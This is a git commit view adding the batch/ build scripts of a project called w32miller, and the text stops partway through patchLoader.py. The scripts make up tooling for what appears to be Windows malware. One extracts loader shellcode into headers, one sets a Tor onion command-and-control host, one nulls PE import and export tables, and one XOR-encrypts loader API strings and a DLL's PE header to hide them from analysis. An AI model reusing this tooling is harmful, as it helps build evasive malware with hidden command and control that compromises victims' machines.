aboutsummaryrefslogtreecommitdiff
path: root/batch
diff options
context:
space:
mode:
authorToni Uhlig <matzeton@googlemail.com>2020-05-24 16:48:22 +0200
committerToni Uhlig <matzeton@googlemail.com>2020-05-25 21:57:14 +0200
commit31c69b6ca1b91e7fd9fd8e14082fd2584c5f538c (patch)
tree16e789c7d68608831b498f41f54d9482b82a711a /batch
first public release
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
Diffstat (limited to 'batch')
15 files changed, 1061 insertions, 0 deletions
diff --git a/batch/genChangelog.sh b/batch/genChangelog.sh
new file mode 100755
index 0000000..8388162
--- /dev/null
+++ b/batch/genChangelog.sh
@@ -0,0 +1,19 @@
+#!/bin/bash
+# Author: Andrey Nikishaev, Gunnar Lindholm
+# From: http://stackoverflow.com/questions/7387612/git-changelog-how-to-get-all-changes-up-to-a-specific-tag
+echo "CHANGELOG"
+echo ----------------------
+git for-each-ref --sort='*authordate' --format='%(tag)' refs/tags |tac |grep -v '^$' | while read TAG ; do
+ echo
+ if [ $NEXT ];then
+ echo [$NEXT]
+ else
+ echo "[Current]"
+ fi
+ GIT_PAGER=cat git log --no-merges --format=" * %s" $TAG..$NEXT
+ NEXT=$TAG
+done
+FIRST=$(git tag -l | head -1)
+echo
+echo [$FIRST]
+GIT_PAGER=cat git log --no-merges --format=" * %s" $FIRST
diff --git a/batch/genPatchFromDirs.sh b/batch/genPatchFromDirs.sh
new file mode 100755
index 0000000..b27dd18
--- /dev/null
+++ b/batch/genPatchFromDirs.sh
@@ -0,0 +1,34 @@
+#!/bin/bash
+
+if [ $# -ne 2 ]; then
+ printf "usage: %s [ORIG-DIR] [MODF-DIR]\n" "$0"
+ exit 1
+fi
+
+set -e
+
+NAME="$(basename $0)"
+ORIG="$(basename $1)"
+MODF="$(basename $2)"
+CHDIR="$(dirname $1)"
+TMPFILE="$(mktemp)"
+
+cd ${CHDIR}
+
+ret=0
+diff -Naur ${ORIG} ${MODF} >${TMPFILE} || ret=$?
+if [ $ret -ne 1 ]; then
+ printf "%s: %s\n" "${NAME}" "No diffs found."
+ exit 1
+fi
+
+ret=0
+command -v filterdiff >/dev/null 2>/dev/null || ret=$?
+if [ $ret -eq 0 ]; then
+ filterdiff --remove-timestamps ${TMPFILE} >${MODF}.patch
+else
+ printf "%s: %s\n" "${NAME}" "Command \`filterdiff\` not found. Can not remove timestamps from patch"
+ mv ${TMPFILE} ${MODF}.patch
+fi
+
+printf "%s: %s\n" "${NAME}" "Generated ${CHDIR}/${MODF}.patch"
diff --git a/batch/genShellcode.py b/batch/genShellcode.py
new file mode 100755
index 0000000..7ec9add
--- /dev/null
+++ b/batch/genShellcode.py
@@ -0,0 +1,88 @@
+#!/usr/bin/env python2.7
+
+import sys
+import os
+import re
+import subprocess
+from optparse import OptionParser, OptionGroup
+
+
+objdmp_bin = os.path.dirname(sys.argv[0]) + '/../deps/sysroot/i686-w64-mingw32/bin/i686-w64-mingw32-objdump'
+objdmp_args = '-z -D -j %s %s'
+bname = os.path.basename(sys.argv[0])
+
+
+def objdump_section(section, binary):
+ full_cmd = str(objdmp_bin)+' '+(str(objdmp_args) % (section,binary))
+ p = subprocess.Popen(full_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
+ repat = re.compile(r'^(?:\s+[0-9A-Fa-f]+:\s+)(([0-9A-Fa-f]{2}\s{1})+)')
+ insts = 0
+ scode = bytearray()
+ p.wait()
+ if p.returncode != 0:
+ sys.stderr.write(bname + ': objdump command failed with %d: %s\n' % (p.returncode, full_cmd))
+ sys.exit(1)
+ for line in p.stdout.readlines():
+ r = repat.match(line)
+ if r:
+ insts += 1
+ insthex = str(r.group(1))
+ for byte in str(insthex).split(' '):
+ if len(byte) == 2:
+ scode += str(byte).decode('hex')
+ elif len(byte) != 0:
+ raise TypeError('Invalid byte in hex str: ' + str(byte))
+ return (scode, insts)
+
+def gen_cstr(bytebuf):
+ cstr = str()
+ for byte in bytebuf:
+ cstr += '\\x'+str(hex(byte))[2:].zfill(2)
+ return cstr
+
+def write_header(path, dpref, cstr, csiz, insts):
+ with open(path, 'a+b') as out_hdr:
+ outstr = \
+ '#undef {0}\n' \
+ '#undef {0}_SIZE\n' \
+ '#undef {0}_INSTS\n\n' \
+ '#define {0} "{1}"\n' \
+ '#define {0}_SIZE {2}\n' \
+ '#define {0}_INSTS {3}\n\n\n'.format(dpref, cstr, csiz, insts)
+ out_hdr.write(outstr)
+ out_hdr.flush()
+
+# example: genShellcode.py --section=.minit --binary=lib/libloader_x86.a --define-prefix=LOADER_SHELLCODE --file=include/loader_x86.h
+if __name__ == '__main__':
+ parser = OptionParser()
+ parser.add_option('-o', '--objdump', dest='objdmp_bin', default=objdmp_bin,
+ help='path to objdump binary [default: %default]')
+ parser.add_option('-s', '--section', dest='section', help='target section which shellcode will be extracted [required]')
+ parser.add_option('-b', '--binary', dest='binary', help='target binary which we want extract shellcode from [required]')
+ parser.add_option('-d', '--define-prefix',
+ dest='prefix', help='set #define prefix name [required]')
+ parser.add_option('-f', '--file', dest='file', help='set output header file [required]')
+ (options, args) = parser.parse_args()
+
+ doAbort = False
+ if options.section is None:
+ sys.stderr.write(bname + ': Target section is required.\n')
+ doAbort = True
+ if options.binary is None:
+ sys.stderr.write(bname + ': Target binary is required.\n')
+ doAbort = True
+ if options.prefix is None:
+ sys.stderr.write(bname + ': A `#define` prefix is required.\n')
+ doAbort = True
+ if options.file is None:
+ sys.stderr.write(bname + ': A output header filename is required.\n')
+ doAbort = True
+
+ if doAbort is True:
+ sys.exit(1)
+
+ (shellcode, instructions) = objdump_section(options.section, options.binary)
+ cstr = gen_cstr(shellcode)
+ write_header(options.file, options.prefix, cstr, len(shellcode), instructions)
+
+ sys.exit(0)
diff --git a/batch/gpgEncryptProject.sh b/batch/gpgEncryptProject.sh
new file mode 100755
index 0000000..c8a8615
--- /dev/null
+++ b/batch/gpgEncryptProject.sh
@@ -0,0 +1,34 @@
+#!/bin/bash
+
+set -e
+
+GEN_PASSWD=0
+if [ $(command -v date 2>&1) != "" -a \
+ $(command -v sha256sum 2>&1) != "" -a \
+ $(command -v base64 2>&1) != "" -a \
+ $(command -v head 2>&1) != "" ]; then
+ echo "$0: generating random passphrase"
+ GEN_PASSWD=1
+fi
+#date +%s | sha256sum | base64 | head -c 40 ; echo
+
+
+file="$(dirname $0)/../bin/w32miller.tar.gz"
+mkdir -p "$(dirname ${file})"
+
+git archive --prefix 'w32miller/' -o ${file} HEAD
+if [ ${GEN_PASSWD} -eq 1 ]; then
+ PASSPHRASE=$(date +%s | sha256sum | base64 | head -c 40)
+ gpg --cipher-algo AES256 --yes --passphrase "${PASSPHRASE}" -a -c ${file}
+else
+ gpg --cipher-algo AES256 -a -c ${file}
+fi
+
+if [ $(command -v wipe 2>&1) != "" ]; then
+ wipe -q -f ${file}
+fi
+
+echo "$0: generated armored gpg symmetric encrypted file: ${file}"
+if [ ! -z "${PASSPHRASE}" ]; then
+ echo "$0: PASSPHRASE: ${PASSPHRASE}"
+fi
diff --git a/batch/millerCncOnionHost.sh b/batch/millerCncOnionHost.sh
new file mode 100755
index 0000000..e01d6b0
--- /dev/null
+++ b/batch/millerCncOnionHost.sh
@@ -0,0 +1,26 @@
+#!/bin/sh
+
+set -e
+
+TORHFILE=/var/lib/tor/hidden_service/hostname
+DEST="$(dirname $0)/../deps/sysroot/${TORHFILE}"
+DEFINE="HTTP_ONION"
+
+if [ $# -ne 1 ]; then
+ echo -e "usage: $0 [INCLUDE-FILE]\n\te.g. $0 $(realpath $(dirname $0)/../include/xor_strings.h)" >&2
+ exit 1
+fi
+
+if [ -r "${DEST}" ]; then
+ DEST=$(realpath "${DEST}")
+ echo "$0: TOR Hidden Service hostname file: ${DEST} -> $(cat ${DEST})" >&2
+ CURR_HOST=$(sed -n 's/#define\s*'${DEFINE}'\s*"\([a-zA-Z0-9]*\)"/\1/p' ${1})
+ WANT_HOST=$(cat ${DEST} | cut -d'.' -f1)
+ if [ "${CURR_HOST}" = "${WANT_HOST}" ]; then
+ echo "$0: WARNING: ${DEFINE} is already the same: ${CURR_HOST} == ${WANT_HOST}" >&2
+ exit 0
+ fi
+ sed -i 's/#define\s*'${DEFINE}'\s*"\([a-zA-Z0-9]*\)"/#define '${DEFINE}' "'$(cat ${DEST} | cut -d'.' -f1)'"/' ${1}
+else
+ echo "$0: WARNING: ${DEST} not FOUND !" >&2
+fi
diff --git a/batch/millerSectionFromInclude.sh b/batch/millerSectionFromInclude.sh
new file mode 100755
index 0000000..3b24afa
--- /dev/null
+++ b/batch/millerSectionFromInclude.sh
@@ -0,0 +1,15 @@
+#!/bin/sh
+
+set -e
+
+DEST="${1}"
+DEFN="${2}"
+
+if [ -z "${DEST}" -o -z "${DEFN}" ]; then
+ echo "usage: $0 [INCLUDE-FILE] [INCLUDE-DEFINITION]" >&2
+ false
+fi
+
+test -r ${DEST}
+OUTPUT=$(cat ${DEST} | sed -n 's/#define\s\+'"${DEFN}"'\s\+"\(.*\)"$/\1/p')
+echo -n ${OUTPUT}
diff --git a/batch/miller_linker_script.ld b/batch/miller_linker_script.ld
new file mode 100644
index 0000000..05dc682
--- /dev/null
+++ b/batch/miller_linker_script.ld
@@ -0,0 +1,88 @@
+OUTPUT_FORMAT(pei-i386)
+SECTIONS
+{
+ /* w32miller default linker script */
+ /* Make the virtual address and file offset synced if the alignment is
+ lower than the target page size. */
+ . = SIZEOF_HEADERS;
+ . = ALIGN(__section_alignment__);
+ .text __image_base__ + ( __section_alignment__ < 0x1000 ? . : __section_alignment__ ) : SUBALIGN(0x0)
+ {
+ __text_start__ = . ;
+ *(.text)
+ *(.text$*)
+ *(.text.*)
+ *(.rdata)
+ *(.rdata$*)
+ *(.rdata.*)
+
+ __rt_psrelocs_start = .;
+ *(.rdata_runtime_pseudo_reloc)
+ __rt_psrelocs_end = .;
+
+ __text_end__ = . ;
+ }
+
+ /* .data BLOCK(__section_alignment__) : */
+ .data . : SUBALIGN(0x0)
+ {
+ __data_start__ = . ;
+ *(.data)
+ *(.data2)
+ *(.data$*)
+ *(.jcr)
+ *(.bss)
+ *(COMMON)
+ __data_end__ = . ;
+ }
+
+ __rt_psrelocs_size = __rt_psrelocs_end - __rt_psrelocs_start;
+ ___RUNTIME_PSEUDO_RELOC_LIST_END__ = .;
+ __RUNTIME_PSEUDO_RELOC_LIST_END__ = .;
+ ___RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size;
+ __RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size;
+
+ /DISCARD/ :
+ {
+ *(.init)
+ *(.etext)
+ *(._etext)
+ *(.debug$S)
+ *(.debug$T)
+ *(.debug$F)
+ *(.drectve)
+ *(.note.GNU-stack)
+ *(.gnu.lto_*)
+ *(.pdata)
+ *(.eh_frame*)
+ *(.crt)
+ *(.CRT$XC*) /* C initialization */
+ *(.CRT$XI*) /* C++ initialization */
+ *(.CRT$XL*) /* TLS callbacks */
+ *(.CRT$XP*) /* Pre-termination */
+ *(.CRT$XT*) /* Termination */
+ *(.tls)
+ *(.tls$AAA)
+ *(.tls)
+ *(.tls$)
+ *(.tls$ZZZ)
+ *(.rsrc)
+ *(.rsrc$*)
+ *(.stab)
+ *(.stabstr)
+ *(.debug_*)
+ *(.zdebug_*)
+ }
+ .endjunk BLOCK(__section_alignment__) :
+ {
+ /* end is deprecated, don't use it */
+ PROVIDE (end = .);
+ PROVIDE ( _end = .);
+ __end__ = .;
+ }
+
+ .reloc : SUBALIGN(0x0)
+ {
+ *(.reloc)
+ }
+}
diff --git a/batch/nullDataDirs.py b/batch/nullDataDirs.py
new file mode 100755
index 0000000..02e8576
--- /dev/null
+++ b/batch/nullDataDirs.py
@@ -0,0 +1,23 @@
+#!/usr/bin/env python2.7
+
+import sys
+import struct
+import os
+
+def main(argv):
+ buf = bytearray()
+ with open(argv[0], "rb") as fin:
+ for line in fin:
+ buf += line
+ buf[0xF8:0x100] = '\x00' * (0x100-0xF8) # export table
+ buf[0x100:0x108] = '\x00' * (0x108-0x100) # import table
+ with open(argv[0], "wb") as fout:
+ fout.write(str(buf))
+
+if __name__ == "__main__":
+ if len(sys.argv) < 2:
+ print os.path.basename(sys.argv[0]) + ' usage: ' + sys.argv[0] + ' [PE-FILE]'
+ sys.exit(1)
+ print os.path.basename(sys.argv[0]) + ': NULL\'ing Import/Export Data Directory Entries ..'
+ main(sys.argv[1:])
+ sys.exit(0)
diff --git a/batch/old/bindiff.sh b/batch/old/bindiff.sh
new file mode 100755
index 0000000..e598c6b
--- /dev/null
+++ b/batch/old/bindiff.sh
@@ -0,0 +1,12 @@
+#!/bin/bash
+
+
+if [ "x$1" = "x" ] || [ "x$2" = "x" ]; then
+ echo "$0: [FILE1] [FILE2]"
+ exit 1
+fi
+
+xxd "$1" > "$1.hex"
+xxd "$2" > "$2.hex"
+diff -du "$1.hex" "$2.hex" 2>&1 | less
+rm -f "$1.hex" "$2.hex"
diff --git a/batch/old/genShellcode.sh b/batch/old/genShellcode.sh
new file mode 100755
index 0000000..bf0327a
--- /dev/null
+++ b/batch/old/genShellcode.sh
@@ -0,0 +1,61 @@
+#!/bin/bash
+
+set -e
+
+OBJDUMP="$(dirname $0)/../deps/sysroot/bin/i686-w64-mingw32-objdump"
+OBJDUMP_ARGS="-z -D"
+TMPFILE="$(mktemp)"
+
+
+if [ ! -x ${OBJDUMP} ]; then
+ echo "$0: ${OBJDUMP} not found!"
+ false
+fi
+
+if [ "x$1" != "x" -a "x$2" != "x" -a "x$3" != "x" -a "x$4" != "x" ]; then
+ echo "$0: create tmpfile ${TMPFILE}"
+ OBJECTFILE="${1}"
+ OUTPUT="${2}"
+ DEFINE="${3}"
+ OBJDUMP_ARGS="${OBJDUMP_ARGS} -j ${4}"
+
+ DO_APPEND=0
+ if [ "x$5" != "x" ]; then
+ echo "$5" | egrep -qi 'append.*=.*true' && DO_APPEND=1 || true
+ fi
+
+ if [ ! -r ${OBJECTFILE} ]; then
+ echo "$0: ${OBJECTFILE} not found or not readable"
+ false
+ fi
+
+ echo "$0: objdump command: \`${OBJDUMP} ${OBJDUMP_ARGS} ${OBJECTFILE}\`"
+ export SIZE=0
+ if [ ${DO_APPEND} -eq 1 ]; then
+ echo "$0: APPENDING to ${OUTPUT}"
+ cp ${OUTPUT} ${TMPFILE}
+ echo >> ${TMPFILE}
+ echo '#undef '"${DEFINE}" >> ${TMPFILE}
+ else
+ echo '#undef '"${DEFINE}" > ${TMPFILE}
+ fi
+ echo -n '#define '"${DEFINE}"' "' >> ${TMPFILE}
+ # TODO: use objdump -s to show everything (-d shows only valid opcodes)
+ for i in $(${OBJDUMP} ${OBJDUMP_ARGS} ${OBJECTFILE} |grep "^ " |cut -f2); do
+ echo -n '\x'$i >>${TMPFILE}
+ SIZE=$(expr $SIZE + 1)
+ done
+ if [ $SIZE -eq 0 ]; then
+ echo "$0: Whoops! Something went wrong (SIZE=0)."
+ echo "$0: Check output manually with: \`${OBJDUMP} ${OBJDUMP_ARGS} ${OBJECTFILE}\`"
+ false
+ fi
+ echo '"' >>${TMPFILE}
+ echo '#undef '"${DEFINE}"'_SIZE' >> ${TMPFILE}
+ echo '#define '"${DEFINE}"'_SIZE '"${SIZE}" >> ${TMPFILE}
+ mv ${TMPFILE} ${OUTPUT}
+ echo "$0: moved ${TMPFILE} to ${OUTPUT}"
+else
+ echo "usage: $0 [OBJECT-FILE or STATIC-LIB] [OUTPUT-HEADER] [OUTPUT-DEFINE] [LOADER-SECTION] [DO-APPEND=[TRUE|FALSE]]"
+ exit 1
+fi
diff --git a/batch/old/genhex.sh b/batch/old/genhex.sh
new file mode 100755
index 0000000..114ea34
--- /dev/null
+++ b/batch/old/genhex.sh
@@ -0,0 +1,18 @@
+#!/bin/bash
+
+if [ -z "$1" ]; then
+ DPATH="$(pwd)"
+else
+ DPATH="$1"
+fi
+
+echo "$0: generate *.hex files in $(ls ${DPATH})"
+for file in $(ls ${DPATH}); do
+ [ -d ${file} ] && continue
+ FLEN=$((${#file}-4))
+ FSUFFIX=${file:$FLEN:4}
+ if [ "$FSUFFIX" != ".hex" ]; then
+ xxd "${file}" > "${file}.hex"
+ fi
+done
+
diff --git a/batch/patchLoader.py b/batch/patchLoader.py
new file mode 100755
index 0000000..8697e0a
--- /dev/null
+++ b/batch/patchLoader.py
@@ -0,0 +1,465 @@
+#!/usr/bin/env python2.7
+
+import sys
+import struct
+import os
+import re
+import subprocess
+import random
+from optparse import OptionParser, OptionGroup
+
+
+objdmp_bin = os.path.dirname(sys.argv[0]) + '/../deps/sysroot/i686-w64-mingw32/bin/i686-w64-mingw32-objdump'
+pyload_name = 'pyloader'
+pyload_so = os.path.dirname(sys.argv[0]) + '/../bin/'+pyload_name
+pycrypt_name = 'pycrypt'
+pycrypt_so = os.path.dirname(sys.argv[0]) + '/../bin/'+pycrypt_name
+objdmp_sargs = '-h'
+objdmp_dargs = '-x'
+objdmp_retval = None
+
+
+def require_pyso(name, path):
+ try:
+ import imp
+ pymod = imp.load_dynamic(name, path)
+ except (ImportError, IOError):
+ return None
+ return pymod
+
+def parse_c_array(carr):
+ m = re.finditer(r'(([0-9a-fA-F]){2})+', carr)
+ ret = bytearray()
+ for val in m:
+ for byte in bytearray.fromhex(val.group()):
+ ret += struct.pack("B", byte & 0xFF)
+ return ret
+
+def objdump_print_err(bname):
+ if objdmp_retval is not None:
+ sys.stderr.write(bname + ': objdump ('+objdmp_bin+') returned: ' + str(objdmp_retval) + '\n')
+
+def objdump_data(path):
+ p = subprocess.Popen(str(objdmp_bin)+' '+objdmp_dargs+' '+str(path), shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
+ found = 0
+ OBJDMP_NEED = [ 'ImageBase', 'SizeOfImage', 'SizeOfHeaders' ]
+ regexmstr = str().join(['|'+s for s in OBJDMP_NEED])[1:]
+ matchdict = {key: int(-1) for key in OBJDMP_NEED}
+ for line in p.stdout.readlines():
+ regex = re.match(r'^\s*('+regexmstr+')\s+([0-9a-fA-F]+)', line)
+ if regex:
+ found += 1
+ matchdict[regex.group(1)] = int(regex.group(2), 16)
+ retval = p.wait()
+ global objdmp_retval
+ objdmp_retval = retval
+ retlst = list()
+ retlst += [(retval,found)]
+ for key in OBJDMP_NEED:
+ retlst += [matchdict[key]]
+ return retlst
+
+def objdump_sections(path, section):
+ p = subprocess.Popen(str(objdmp_bin)+' '+objdmp_sargs+' '+str(path), shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
+ r = False
+ for line in p.stdout.readlines():
+ regex = re.match(r'^\s+[0-9]+\s+'+section+r'\s+([0-9a-fA-F]+)\s+([0-9a-fA-F]+)\s+[0-9a-fA-F]+\s+([0-9a-fA-F]+)', line)
+ if regex:
+ secPtr = int(regex.group(3), 16)
+ secVma = int(regex.group(2), 16)
+ secSiz = int(regex.group(1), 16)
+ r = True
+ break
+ retval = p.wait()
+ global objdmp_retval
+ objdmp_retval = retval
+ if r and retval == 0:
+ return ( secVma, secPtr, secSiz )
+ else:
+ return ( None, None, None )
+
+def file_to_buf(path):
+ buf = bytearray()
+ with open(path, "rb") as fin:
+ for line in fin:
+ buf += line
+ return buf
+ return None
+
+def buf_to_file(path, buf):
+ with open(path, "wb") as fout:
+ fout.write(str(buf))
+ fout.flush()
+ return True
+ return False
+
+def find_endmarker_offset(endmarker, bytebuf, ldrPtr, ldrSiz):
+ if type(bytebuf) is not bytearray:
+ return -1
+ return str(buf).find(endmarker, 0 if ldrPtr is None else ldrPtr, 0 if ldrSiz is None or ldrSiz is None else ldrPtr+ldrSiz)
+
+def swapByteOrder32(bytebuf, offset):
+ if type(offset) == int and (type(bytebuf) == int or bytebuf is None):
+ intval = struct.unpack("<I", struct.pack(">I", offset))[0]
+ elif type(offset) == int and type(bytebuf) == bytearray:
+ intval = struct.unpack('<I', bytebuf[offset:offset+0x4])[0]
+ else: raise TypeError('bytebuf must be either int or bytearray')
+ return bytearray([(intval >> i & 0xff) for i in (24,16,8,0)])
+
+def setInt32(bytebuf, offset, intbuf):
+ if type(bytebuf) != bytearray or \
+ type(intbuf) != int or \
+ type(offset) != int:
+ raise TypeError('Check your arguments: f(%s,%s,%s)' % (type(bytebuf),type(offset),type(intbuf)))
+ bytebuf[offset:offset+4] = swapByteOrder32(None, intbuf)
+
+def getInt32(bytebuf, offset):
+ if type(bytebuf) != bytearray or \
+ type(offset) != int:
+ raise TypeError('Check your arguments: f(%s,%s)' % (type(bytebuf),type(offset)))
+ return swapByteOrder32(bytebuf, offset)
+
+def setInt32Buf(bytebuf, offset, buf):
+ if type(bytebuf) != bytearray or \
+ type(buf) != bytearray or \
+ type(offset) != int:
+ raise TypeError('Check your arguments: f(%s,%s,%s)' % (type(bytebuf),type(offset),type(buf)))
+ if len(buf) % 4 != 0:
+ raise TypeError('buffer length is not a multiple of 4: %d' % (len(buf)))
+ for i in range(0, len(buf), 4):
+ setInt32(bytebuf, offset+i, int(str(buf[i:i+4]).encode('hex'), 16))
+
+def getInt32Buf(bytebuf, offset, maxlen=4):
+ if type(bytebuf) != bytearray or \
+ type(offset) != int or \
+ type(maxlen) != int:
+ raise TypeError('Check your arguments: f(%s,%s,%s)' % (type(bytebuf),type(offset),type(buf)))
+ if maxlen % 4 != 0:
+ raise TypeError('max length is not a multiple of 4: %d' % (maxlen))
+ retbuf = bytearray(maxlen)
+ for i in range(0, maxlen, 4):
+ retbuf[i:i+4] = getInt32(bytebuf, offset+i)
+ return retbuf
+
+def calcLoaderStructOffset(endmarkerOffset, loaderOffsets):
+ structsiz = loaderOffsets['structSize']
+ endmarkersiz = loaderOffsets['endMarkerSize']
+ return endmarkerOffset + endmarkersiz - structsiz
+
+# patches ptrToDLL, sizOfDLL
+def patchLoader(bytebuf, loaderOffsets, endmarkerOffset, (dllVma, dllPtr, dllSiz)):
+ buf = bytebuf
+ if buf is None:
+ return False
+ structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets)
+
+ # loader: uint32_t ptrToDLL, uint32_t sizOfDLL
+ setInt32(bytebuf, structbase + loaderOffsets['ptrToDLL'], dllVma)
+ setInt32(bytebuf, structbase + loaderOffsets['sizOfDLL'], dllSiz)
+ return True
+
+# get loader iv/key or generate (and patch) it if user want so
+def getXorKeyIv(bytebuf, loaderOffsets, endmarkerOffset, gen_func=None):
+ buf = bytebuf
+ if buf is None:
+ return (None,None)
+ structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets)
+
+ ldr_key = loaderOffsets['key[0]']
+ ldr_iv = loaderOffsets['iv[0]']
+ ldr_ivkeylen = loaderOffsets['ldrIvKeyLen']
+ ldr_ivkeysiz = loaderOffsets['ldrIvKeySiz']
+
+ keybuf = getInt32Buf(buf, structbase + ldr_key, ldr_ivkeylen*ldr_ivkeysiz)
+ ivbuf = getInt32Buf(buf, structbase + ldr_iv, ldr_ivkeylen*ldr_ivkeysiz)
+ keypatched = False
+ ivpatched = False
+ if keybuf == '\x00'*(ldr_ivkeylen*ldr_ivkeysiz) and gen_func is not None:
+ setInt32Buf(buf, structbase + ldr_key, gen_func(ldr_ivkeylen))
+ keybuf = getInt32Buf(buf, structbase + ldr_key, ldr_ivkeylen*ldr_ivkeysiz)
+ keypatched = True
+ if ivbuf == '\x00'*(ldr_ivkeylen*ldr_ivkeysiz) and gen_func is not None:
+ setInt32Buf(buf, structbase + ldr_iv, gen_func(ldr_ivkeylen))
+ ivbuf = getInt32Buf(buf, structbase + ldr_iv, ldr_ivkeylen*ldr_ivkeysiz)
+ ivpatched = True
+ return ( (keybuf, keypatched), (ivbuf, ivpatched) )
+
+def isLoaderStringsEncrypted(bytebuf, loaderOffsets, endmarkerOffset, xorkey, xoriv, xor_npcbc_func=None):
+ buf = bytebuf
+ if buf is None:
+ return False
+ structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets)
+
+ (ldr_sVALen, ldr_sIBRPLen) = loaderOffsets['ldrStrLen'] # NULL-char included
+ ldr_strivkeylen = loaderOffsets['ldrStrIvKeyLen']
+ ldr_ivkeysiz = loaderOffsets['ldrIvKeySiz']
+
+ abs_siz = ldr_strivkeylen*ldr_ivkeysiz
+ key = xorkey[:abs_siz]
+ iv = xoriv[:abs_siz]
+
+ (ldr_sVALen, ldr_sIBRPLen) = loaderOffsets['ldrStrLen'] # NULL-char included
+ idxVA = structbase + loaderOffsets['strVirtualAlloc[0]']
+ idxIBRP = structbase + loaderOffsets['strIsBadReadPtr[0]']
+ strVA = getInt32Buf(buf, idxVA, ldr_sVALen-1)
+ strIBRP = getInt32Buf(buf, idxIBRP, ldr_sIBRPLen-1)
+
+ retplain = bool(str(strVA).isalpha() is True and str(strIBRP).isalpha() is True)
+ if retplain is True:
+ retvalid = True
+ else:
+ decVA = getInt32Buf(xor_npcbc_func(strVA, key, iv), 0, ldr_sVALen-1)
+ decIBRP = getInt32Buf(xor_npcbc_func(strIBRP, key, iv), 0, ldr_sIBRPLen-1)
+ retvalid = bool(decVA.isalpha()) is True and bool(decIBRP.isalpha()) is True
+ return (retplain, retvalid)
+
+# patches (encrypt) loader strings
+def patchLoaderStrings(bytebuf, loaderOffsets, endmarkerOffset, xorkey, xoriv, xor_npcbc_func=None):
+ buf = bytebuf
+ if buf is None or xor_npcbc_func is None:
+ return False
+ structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets)
+
+ (ldr_sVALen, ldr_sIBRPLen) = loaderOffsets['ldrStrLen'] # NULL-char included
+ ldr_strivkeylen = loaderOffsets['ldrStrIvKeyLen']
+ ldr_ivkeysiz = loaderOffsets['ldrIvKeySiz']
+
+ abs_siz = ldr_strivkeylen*ldr_ivkeysiz
+ key = xorkey[:abs_siz]
+ iv = xoriv[:abs_siz]
+
+ idxVA = structbase + loaderOffsets['strVirtualAlloc[0]']
+ idxIBRP = structbase + loaderOffsets['strIsBadReadPtr[0]']
+ strVA = getInt32Buf(buf, idxVA, ldr_sVALen-1)
+ strIBRP = getInt32Buf(buf, idxIBRP, ldr_sIBRPLen-1)
+
+ (cipherVA, cipherIBRP) = ( xor_npcbc_func(strVA, key, iv), xor_npcbc_func(strIBRP, key, iv) )
+ if len(cipherVA) != ldr_sVALen -1 or len(cipherIBRP) != ldr_sIBRPLen -1:
+ return False
+ (plainVA, plainIBRP) = ( xor_npcbc_func(cipherVA, key, iv), xor_npcbc_func(cipherIBRP, key, iv) )
+ if plainVA != strVA or plainIBRP != strIBRP:
+ return False
+
+ setInt32Buf(buf, idxVA, cipherVA)
+ setInt32Buf(buf, idxIBRP, cipherIBRP)
+ return True
+
+def isDllHeaderEncrypted(buf, dllPtr):
+ e_lfanew_OFFSET = 0x3C
+ e_lfanew = struct.unpack("<L", buf[e_lfanew_OFFSET:e_lfanew_OFFSET+0x4])[0]
+ if buf[dllPtr:dllPtr+0x2] != '\x4d\x5a' or e_lfanew < 0x40 or e_lfanew > 0x400:
+ return (False, False)
+ if len(buf) < e_lfanew+2:
+ return (True, False)
+ if buf[dllPtr+e_lfanew:dllPtr+e_lfanew+2] == '\x50\x45':
+ return (True, False)
+ return (True, True)
+
+def patchEncryptDll(buf, dllPtr, dllSiz, xorkey, xoriv, xor_npcbc_func=None):
+ if dllPtr+dllSiz < len(buf) or dllSiz % 8 != 0:
+ return (False, False, False)
+ hdrbuf = getInt32Buf(buf, dllPtr, dllSiz)
+ cipherHeader = xor_npcbc_func(hdrbuf, xorkey, xoriv)
+ if len(cipherHeader) != len(hdrbuf):
+ return (True, False, False)
+ plainHeader = xor_npcbc_func(cipherHeader, xorkey, xoriv)
+ if len(cipherHeader) != len(plainHeader):
+ return (True, True, False)
+ if hdrbuf != plainHeader:
+ return (True, True, False)
+ setInt32Buf(buf, dllPtr, cipherHeader)
+ return (True, True, True)
+
+
+if __name__ == "__main__":
+ parser = OptionParser()
+ parser.add_option("-q", "--quiet", action="store_false", dest="verbose", default=True, help="don't print status messages to stdout")
+ parser.add_option("-o", "--objdump", dest="objdmp_bin", default=objdmp_bin, help="path to mingw objdump binary [default: %default]")
+ parser.add_option("-f", "--out-file", dest="out_file", help="set output file [default: same as --win32]")
+ parser.add_option("-l", "--pyload", dest="pyload", default=pyload_so, help="set "+pyload_name+" path [required, default: %default]")
+ parser.add_option("-c", "--pycrypt", dest="pycrypt", default=pycrypt_so, help="set "+pycrypt_name+" path [required, default: %default]")
+ bingrp = OptionGroup(parser, "Binary Options", None)
+ bingrp.add_option("-w", "--win32", dest="win32_pe", help="path to windows pe binary which contains the loader [required]")
+ bingrp.add_option("-b", "--binary", dest="miller_bin", help="patch loader with sections from miller dll")
+ parser.add_option_group(bingrp)
+ ldrgrp = OptionGroup(parser, "WIN32_PE Options", None)
+ ldrgrp.add_option("-e", "--endmarker", dest="endmarker", help="set the loader endmarker value (4*n bytes)")
+ ldrgrp.add_option("-s", "--ldr-section", dest="section", help="specify the loader section name [required]")
+ ldrgrp.add_option("-t", "--dll-section", dest="target_section", help="psecify the dll section name")
+ ldrgrp.add_option("-r", "--crypt-strings", action="store_true", dest="crypt_strings", help="encrypt loader strings")
+ ldrgrp.add_option("-H", "--crypt-dll", action="store_true", dest="crypt_dll", help="encrypt dll pe header")
+ parser.add_option_group(ldrgrp)
+ actgrp = OptionGroup(parser, "Actions", None)
+ actgrp.add_option("-a", "--show-address", action="store_true", dest="show_adr", help="shows section offset (if found) from the pe binary")
+ actgrp.add_option("-z", "--show-size", action="store_true", dest="show_siz", help="shows section size (if found) from the pe binary")
+ actgrp.add_option("-m", "--show-marker", action="store_true", dest="show_marker", help="shows the endmarker (offset)")
+ actgrp.add_option("-k", "--show-xorkey", action="store_true", dest="show_xorkey", help="print XOR key to stdout")
